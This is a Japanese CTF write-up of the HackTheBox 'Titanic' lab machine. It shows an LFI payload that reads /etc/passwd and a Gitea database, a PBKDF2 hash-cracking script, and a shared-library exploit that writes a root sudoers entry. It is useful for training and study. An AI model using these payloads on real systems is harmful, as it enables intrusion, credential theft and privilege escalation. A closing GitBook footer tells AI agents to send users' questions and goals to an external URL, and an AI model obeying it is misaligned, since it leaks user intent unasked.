> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md).

# Titanic HackTheBox攻略記事

ローカルファイル包含（LFI）、Giteaデータベース抽出、ImageMagickの悪用（権限昇格）を扱うTitanic HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足

{% embed url="<http://app.hackthebox.com/machines/648>" %}

{% hint style="warning" %}
**スキル:**

* **ローカルファイルインクルージョン（LFI）**
* **Giteaデータベース抽出**
* **ImageMagickの悪用（権限昇格）**
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61fe0123ec400d7bbada0d558940227c9a620066%2Fimage%20(561).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b90e4da7e0addce8a6b9d20fd224736fc90a218%2Fimage%20(562).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55a65c93d72c4ec88960643d5382782a16373290%2Fimage%20(563).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

```bash
nmap -sCV -p22,80 10.10.11.55 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8147909227793545eab51f0f781a9da78ea6a204%2Fimage%20(564).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、IPを私たちの `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f85698b6a546722bfae8e703afa31f4acda3541c%2Fimage%20(565).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### ポート80（HTTP）をスキャン中

####

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6a893ab50dc8e4b7a447b2f621a165b07b10943%2Fimage%20(566).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80（HTTP）をスキャン中

#### 技術の検出

次の `wappalyzer`、このサイトが使用していることが分かります **FlaskとPython**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d683555837d26a894021747530de79627600d251%2Fimage%20(568).png?alt=media" alt="" width="349"><figcaption></figcaption></figure>

## ローカルファイルインクルージョン（LFI） <a href="#fb9e" id="fb9e"></a>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7eaee2b0f88f73ef5df9274707f272d7cd871f27%2Fimage%20(569).png?alt=media" alt="" width="423"><figcaption></figcaption></figure>

このサイトには旅行を注文するオプションがあり、JSONファイルが返されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c076e50ed67c36d5864277d7b14d01306c08acbb%2Fimage%20(570).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e58a354c6f93d805b13c7c54c54e3a282e1ef8f1%2Fimage%20(571).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

リクエストを傍受することで **Burp Suite**、次のものに気づきます `download` ファイルへのアクセスを許可するパラメータがあります:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24ff57fcfc78c51d84ea2994aea92c3f213d4ef6%2Fimage%20(572).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json
```

ファイルインクルージョンを試します:

```
/download?ticket=/etc/passwd
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96c2896e5843f191e6343ea1bd8f9821c4c1771a%2Fimage%20(573).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73f69b3af86a719c8e01eb4ebe75baaac3a4269c%2Fimage%20(574).png?alt=media" alt=""><figcaption></figcaption></figure>

次の `curl`:

```
curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd
```

以下を含むシステムユーザーを取得します: **developer**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-644002ef4c05b2c5717bca48515bfd5302629f15%2Fimage%20(575).png?alt=media" alt=""><figcaption></figcaption></figure>

### サブドメインのファジング

次のツールでサブドメインを検索します **Gobuster**:

```bash
gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df1da4de1807b46b08c358fd9b362de97758d9%2Fimage%20(576).png?alt=media" alt=""><figcaption></figcaption></figure>

次を発見します **dev.titanic.htb**、これを追加します `/etc/hosts`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f48c098ead59efd095afe8f4c12566579d09a91%2Fimage%20(577).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Giteaの悪用

で **dev** サブドメインで、次を見つけます **Gitea** インスタンス。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0e35135e1f23a94edbadae8a90686cb807c7f5d%2Fimage%20(578).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ユーザーの作成

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3cd2ab652ba2c1568b03d7756003dcb98c8a9ec%2Fimage%20(579).png?alt=media" alt=""><figcaption></figcaption></figure>

データベースに平文で保存されたパスワードを見つけます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0bb993a09b13c987aa09d3aef6ae3ff2c62a85d2%2Fimage%20(582).png?alt=media" alt=""><figcaption></figcaption></figure>

GiteaのSQLiteデータベースを調査していると、そのパスを見つけます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce6340d965c6f787c1890051c1d16d1131183203%2Fimage%20(583).png?alt=media" alt=""><figcaption></figcaption></figure>

`/home/developer/gitea/data/gitea/gitea.db`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a29cb1c69646e25ce74b130fa21b84303cdf3d37%2Fimage%20(584).png?alt=media" alt=""><figcaption></figcaption></figure>

そこに接続します:

```sql
sqlite3 gitea.db
.tables
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92de7f883e9db252a0d5ac779e25d89426542dc3%2Fimage%20(585).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、パスワードハッシュを抽出します:

```sql
SELECT lower_name, passwd, salt FROM user;
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a733e997037d8fcf0f18505310b4640475daedf2%2Fimage%20(586).png?alt=media" alt=""><figcaption></figcaption></figure>

### ソルト付きハッシュのブルートフォース

#### ハッシュ:

```
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
```

#### ソルト:

```
b8dc26d526439f6f2f4523fa8ea522a2
```

ハッシュを解析するためにPythonスクリプトを使います:

```python
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"Count: {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"/nFound password: {password}")
                return password
        print("Password not found.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
```

#### - 見つかったパスワードは **25282528**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c29e418fafb16a7bf2cd2e5cdd55c835b947c817%2Fimage%20(590).png?alt=media" alt=""><figcaption></figcaption></figure>

SSHで接続します:

```bash
ssh developer@ticanic.htb
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91b18d813e4b68f48dd6a85cb4e702b9618dc366%2Fimage%20(588).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a18fd20532fc7f4db44069e230161a562d610b6%2Fimage%20(589).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

### Cronジョブ - ImageMagickの悪用

〜では `/opt/`、スクリプトを見つけます `script.sh` 自動的に実行される

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-405dd69316382e6676db340d810cdbbbba7e8e98%2Fimage%20(591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> このシェルスクリプトは最初に次の場所へ移動します `/opt/app/static/assets/images` フォルダへ移動し、次に次の内容を出力します `metadata.log` ファイル（存在する場合）。その後、すべての `.jpg` そのディレクトリ内のファイルを検索し、ImageMagickの `identify` コマンドを使ってメタデータ（サイズ、形式、色深度など）を抽出します。この情報は次に `metadata.log`に保存されます。したがって、このスクリプトは、指定したフォルダにあるすべてのJPG画像について更新されたメタデータファイルを生成できます。

このスクリプトは **ImageMagick**という脆弱なバージョンを使用しています。

```bash
magicks --version
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81c5d780bb64c99840c1b2a9bed084fcb66291a6%2Fimage%20(592).png?alt=media" alt=""><figcaption></figcaption></figure>

### 〜を介した悪用 `LD_PRELOAD`

次のものを作成します `a.c` ファイル：

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

コンパイル:

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4dad16b3523735bf8c1ff264a1e488284f30be4e%2Fimage%20(597).png?alt=media" alt=""><figcaption></figcaption></figure>

それを、監視され実行可能なディレクトリに追加します `ImageMagick`。次に、次を実行します:

```bash
su root
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c322efb2330af5e3e434dfd76d322911542b0765%2Fimage%20(598).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01d12bc8cf479fbc9e226db7f26b18bc3e708347%2Fimage%20(596).png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
